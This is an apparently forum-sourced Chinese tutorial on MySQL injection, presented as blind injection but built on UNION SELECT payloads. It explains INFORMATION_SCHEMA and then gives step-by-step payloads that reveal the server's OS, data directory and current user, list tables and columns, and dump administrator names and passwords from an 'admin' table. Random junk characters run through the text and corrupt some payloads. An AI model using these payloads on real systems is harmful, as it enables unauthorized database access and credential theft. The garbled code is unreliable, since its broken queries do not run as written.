本文介绍MYSQL盲注的一些语句和方法' C `6 h* E+ W0 q
, G' [4 B4 H( H' e
学习盲注前先了解下 IFORMATION_SCHEMA 库* \5 f! L0 b" k
! Q, v: y! k! U6 ~Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
& o/ B% a/ N6 Z( k2 j) I6 u0 k5 l5 U存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。9 q# ^6 I) k2 r3 I' p' |
1.得到所有数据库名:
( }( w$ P, h+ F- O+ ~|SCHEMATA ->存储数据库名的表3 z7 Y2 m3 E# y5 R
|---字段:SCHEMA_NAME ->数据库名称" [& X# [9 L3 u7 Z6 b3 O2 D1 }
?6 M# a {$ H' G3 l" ?
|TABLES ->存储表名
' H" I; J% o2 h3 N|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
$ m: O5 W5 D) \9 J8 N|---字段:TABLE_NAME ->存储表的表名
3 A7 B9 }- X$ a& d) @' n/ R8 r5 k: i: A
|COLUMNS ->存储的字段名表
: ]3 _1 X) @, q) ]/ C# f( Y8 M1 u|---字段:TABLE_SCHEMA ->该字段所属数据库名7 ]% G3 z0 V% f' N* [$ A1 \. f
|---字段:TABLE_NAME ->存储所属表的名称! X" J3 p) r9 ]* }% b6 l2 E* \
5 C3 C5 A5 e1 F& j. g
|---字段:COLUMN_NAME ->该字段的名称
0 x- J! G- V2 L6 \9 K9 V' h
. y% {. _6 X% I4 G3 @1 |) H5 v " ] n( s( A, t, _* Q9 g/ ]* g
7 a6 t2 y" j8 h4 Q1 \3 {) O
###########################################################################
, I( \6 i- K6 G" n& r, A( |1 s. ]3 s0 F& Y7 |& p7 \/ Q
0x001 获取系统信息:" A$ A0 R! r+ n. v0 d+ |7 H
; r% f8 D5 o9 Gunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*( a {8 g+ t* d% B7 E5 @- ~7 N
0 r$ Z/ u6 i% q) b9 _/*1 Y1 J$ t3 p& \5 T8 {
% a" Q9 y; I9 y9 D; c
@@global.version_compile_os 获取系统版本
# l% ~& j% B' D9 p& F0 a3 K. |% i9 z; a) J/ c9 z D8 D
@@datadir 数据库路径
9 y9 x2 n6 z' ^database() 当前数据库名称
2 y# \, g2 Q6 ]; T& Y0x3c62723e 换行HEX值
% G6 {& `5 S3 _, Y/ j) F
( s4 [+ c* ^6 [; F m* i*/$ a% q d0 Y' k3 a) y4 r/ e1 |
2 F& o! |8 ?2 V " h3 G1 Z, G. W8 o
4 C2 `$ h, G) b" E
######################################################################8 m. K# i+ E% K' r, h) H
- o& z# a3 a4 S: \2 S1 Z0x002 获取表名
: u9 h. o6 x2 K: T$ ?& I, ]% I! s# c0 x0 J0 I5 Y$ z
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
# p( _3 A' d4 f8 N8 m1 x
1 C, D2 x" I1 |5 M4 L) \
/ D) h, s$ g1 b+ Q4 t; j5 a
- E* `$ n& k/ w6 F/*
: N5 C. U$ g4 _ L. {/ X! D% x6 d0 m8 y f" ?1 p8 [
0x67617264656e 为当前数据库名: v9 `( d% T2 t; k% I9 M. g" f$ u) `
* @( `! f5 r+ y, I$ \" Ggroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名! l& q7 g8 p- j9 A! b; A5 j
1 {/ p i1 _# Q) X
*/, y7 E/ g8 _. q, E1 H
; |1 A. a9 l" y" t- v4 |
######################################################################
2 u/ L S0 s& a6 I# h$ L( Y e5 N, j! m; l' \/ T4 Z* ?
" V7 B! \2 K, \3 `3 z x% v, d
/ J, @% [; m s9 p& u8 Q% T! f$ |, B: [' |
0x003 获取字段4 `, I) u9 t. | M7 y
4 G0 H- Z/ f8 L: C
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
1 g: s2 j8 d4 V* o& l4 Z( l6 `8 l. E; q* T. R2 d8 D
/*2 n0 X) |4 Z u! P0 D, K8 I
3 k* ]+ G, R6 Y, bgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段$ H) \* ^9 Q D+ d' z( b
3 Y4 c( m: f5 U
0x61646d696e ->选择一个表5 Y) M" x; |7 l! d& w/ ^$ U
* S1 K3 W1 h( {( p
0x67617264656e ->数据库名 o. n. w& q8 k8 Z$ v: K: H* G
2 l" F, `2 j4 A( ^
*/& D* q8 O1 ~" L4 r
9 A) S; _, u' S% K& e#####################################################################; p" ]/ G \; y2 k$ F1 V1 p- {
: Q4 H F' u7 w( y3 F; h 8 x% K/ |$ \. ?. y# J* K6 I
; h% u" L% }2 e: e/ i. O2 R
0x004 获取数据
; m' {. t1 D# u0 e( k/ c, G- [' W( M) w3 n. |6 u, h. l
union select 1,2,37 ]5 j( |: g7 ` T/ c* E! w
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
, R3 q1 t1 j1 Z( s+ I5 S+ _. A; ^ }, E) J6 m7 s# c9 j* b
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
* A, d3 a, T' X. R7 P( k* v6 b |5 T+ l; a* Z
+ N: O) u# f/ h
" a% G: z1 `/ k9 I3 F _ b% E( u
/*
4 H8 x7 n! \8 e+ }9 ]9 m8 g, B2 [
0x3c62723e 换行符号HEX编码
# D% n& c& @9 j' \1 \0 D: g- A4 ?! E* F* ]. P/ g' [5 J) _2 C
group_concat 同时获得该字段所有数据& M6 m: b" a4 G+ `' ]
6 N. |- T# x# t) D ^*/
5 I5 m: X! z% |0 N8 L. R5 A
$ `" [3 |0 n T1 N8 j |